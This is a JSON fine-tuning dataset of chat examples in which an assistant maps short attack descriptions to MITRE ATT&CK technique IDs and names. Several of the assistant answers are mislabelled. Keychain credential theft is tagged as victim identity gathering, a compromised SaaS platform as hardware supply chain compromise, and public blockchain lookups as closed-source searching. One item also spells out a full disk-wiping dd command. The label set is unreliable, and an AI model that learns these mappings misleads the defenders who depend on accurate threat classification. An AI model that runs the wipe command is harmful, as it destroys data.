                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder harvests metadata from publicly available images on the victim's website to infer server configurations."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro creates a Windows Management Instrumentation (WMI) query that triggers the execution of a payload on a remote system."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a script to remove all hard‑coded C2 URLs from the payload before re‑using it on a new compromised host."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan drops a script that calls the Windows API to create a local account with a random username and password."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code injects itself into a legitimate process and uses shared memory sections to exfiltrate sensitive data to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary launches mshta.exe with a malicious .hta file hosted on a remote server to execute PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group exploited a vulnerability in the domain controller's authentication protocol to gain admin access."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code reads the OS keychain, exporting authentication tokens and passwords to the attacker's server."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor used Confluence's RSS feed feature to pull updates from secured spaces and store them externally."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary reconfigures the disk encryption settings of a cloud VM, disabling encryption to exfiltrate data more easily."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers execute malicious shellcode by allocating writable memory and copying the payload, then transferring execution via a reflective call."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ransomware disables the built‑in backup service and erases existing backup files to stop restoration."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes PowerShell `([System.Security.Principal.WindowsIdentity]::GetCurrent()).Groups` to list security groups."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a web proxy to inject code into a vendor’s web portal, capturing user credentials as they are entered."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a script that automatically backs up user documents to any newly connected USB device."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware registers a new port monitor named \"USB001\" that loads a hidden backdoor module each time a USB printer is used."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Mavinject utility to inject a malicious DLL into the svchost.exe process, executing code via a trusted system binary."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware adds its payload as an AppInit DLL, causing the code to execute whenever any application loads the Windows graphical subsystem."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group transfers a custom keylogger onto the target system using a compromised SharePoint site."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following initial access, the hacker leveraged Mimikatz to pull private keys and create forged authentication certificates for spoofing."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion alters the stored policies in a Kubernetes cluster to grant unrestricted pod creation rights."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a conference call, the adversary pretended to be a senior executive and asked a junior staff member to transfer funds to a new account."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the initramfs to include a backdoored kernel extension that runs on every reboot."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using launchctl, the intruder creates a LaunchDaemon that executes a reverse shell whenever the system boots."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages the Windows Audio Session API (WASAPI) to capture microphone data and encrypts the audio before exfiltration over DNS."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses the net.exe utility to add a domain user account with a weak password."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code was used to enable Remote Desktop Services on the target, allowing the attacker to access the system via RDP."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group registers a domain under a secondary TLD to bypass security filters."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script uses the Windows Management Instrumentation (WMI) class Win32_Process to enumerate processes and looks for known debugging tools."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a man‑in‑the‑middle attack to serve a malicious update for a cloud storage client, resulting in a compromised binary on the host."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker conducted a man‑in‑the‑middle attack on public Wi‑Fi, intercepting login credentials for a social media platform."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware updates the system firmware during pre‑boot, allowing code execution before any security software loads."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor performed an SNMP GETBULK request to collect the MIB tree and steal configuration details."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Collecting browser password databases from the victim's machine and staging them locally."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By invoking ptrace with PTRACE_POKETEXT, the attacker overwrites function pointers within another process."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a privileged command, the threat actor copies /etc/passwd and /etc/shadow to exfiltrate credential data."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware inspects the MAC address of the network adapter for prefixes commonly used by virtual environments like 00:05:69."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation module calls `dd if=/dev/zero of=/dev/sda bs=1M` to wipe the entire hard drive."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leveraged a compromised service account's credentials to produce a forged Kerberos ticket, enabling them to impersonate the service and steal sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary loads a malicious DLL into a legitimate Windows process using the LoadLibrary API to execute its code."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a malicious PE into the memory of a running service using the Windows API OpenProcess and VirtualAllocEx."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor scrambles exfiltrated data using a custom Vigenère cipher with a dynamic key derived from system time before transmission."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a misconfigured API and used \"kubectl exec\" to gain root access inside the container orchestrator."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a custom DLL to call the Windows API EnumInstalledApps and sends the software list to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script modifies the stored NTLM hash of a privileged account in the SAM database, enabling the attacker to log in without knowing the original password."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using an unquoted command line argument that includes spaces, the attacker positions a fake binary in the search order, causing it to be run in place of the intended binary."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan converts plain text credentials into a hex string before sending them to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers scrape public social media profiles for email addresses and phone numbers to build a credential‑gathering list."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used PowerShell to query Active Directory for the list of domain-joined machines and their IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a misconfigured IAM policy to read secret values from HashiCorp Vault's KV store."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor crafts a LinkedIn message with a shortened URL that leads to a malicious Word document exploiting a macro."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider with privileged access disables MFA prompts for targeted accounts, bypassing multi‑factor authentication."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential stuffing is performed by feeding a list of leaked credentials into a headless browser that mimics legitimate user behavior."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set altered the file type identifier of a malicious script, presenting it as a harmless .rtf document to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries edit the authentication settings on network devices, allowing them to use a default credential set for future logins."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor opens an encrypted WebSocket (WSS) to receive commands from the attacker."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary adds the \"Offline\" attribute to a network‑shared NTFS file containing exfiltrated data, making the file appear unavailable and reducing suspicion."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor initiates a Remote Desktop Protocol connection to the compromised host for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious package installs a cron task that runs a DNS tunneling client every 10 minutes."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remote services: DCOM is used to copy files and execute them on a remote host."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool scans /proc/*/cmdline for plaintext passwords passed as arguments."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised service account, the actor updated the firewall rule set on a Kubernetes cluster, allowing unrestricted pod-to-pod communication."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers query public blockchain explorers to trace cryptocurrency wallets associated with the victim."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party SaaS platform is used to deliver malicious payloads to its customers."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminal registers a domain-based email address (e.g., admin@evilcorp.com) via the victim's mail server."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses a portable USB hard drive to collect and transport confidential project files out of the building."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat modifies SID-History attributes to grant its processes higher-level access."
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software abuses the \"PowerShell Remoting\" feature with stolen credentials to execute commands as an administrator."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker purchases a phishing‑as‑a‑service subscription to automate credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary extracts system event logs via PowerShell Get-WinEvent to identify previous authentication attempts."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To avoid sandbox analysis, the command and control client verifies the presence of a physical mouse device and waits for a click event before proceeding."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A web server vulnerability allows the attacker to inject CSS that exfiltrates user credentials via background-image requests."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Time Providers technique, registering a malicious DLL that executes automatically when the time service starts."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a phishing campaign that directed users to a fake login portal for their corporate email, harvesting credentials."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By passing a crafted argument to InstallUtil.exe, the attacker triggers execution of an embedded malicious .NET assembly without leaving typical execution artifacts."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers execute a series of port scans across multiple IP ranges to reveal the structural layout of the target's network."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
